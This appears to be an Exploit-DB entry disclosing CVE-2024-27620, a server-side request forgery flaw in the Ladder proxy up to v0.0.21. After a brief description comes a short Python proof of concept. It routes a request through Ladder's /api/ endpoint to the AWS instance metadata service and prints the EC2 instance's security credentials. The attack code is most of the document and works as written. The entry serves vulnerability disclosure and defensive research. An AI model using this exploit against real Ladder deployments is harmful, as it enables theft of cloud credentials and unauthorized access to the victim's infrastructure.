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Ladder v0.0.21 - Server-side request forgery (SSRF)

🗓️ 10 Mar 2024 00:00:00Reported by @_chebuyaType 
exploitdb
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Ladder v0.0.21 - Server-side request forgery (SSRF) CVE-2024-27620. Allows SSRF to access private address ranges, locally listening services, and cloud instance metadata API

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# Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
# Date: 2024-01-20
# Exploit Author: @_chebuya
# Software Link: https://github.com/everywall/ladder
# Version: v0.0.1 - v0.0.21
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
# CVE: CVE-2024-27620
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs

import requests
import json

target_url = "http://127.0.0.1:8080/api/"
imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

r = requests.get(target_url + imdsv1_url)
response_json = json.loads(r.text)
print(response_json["body"])

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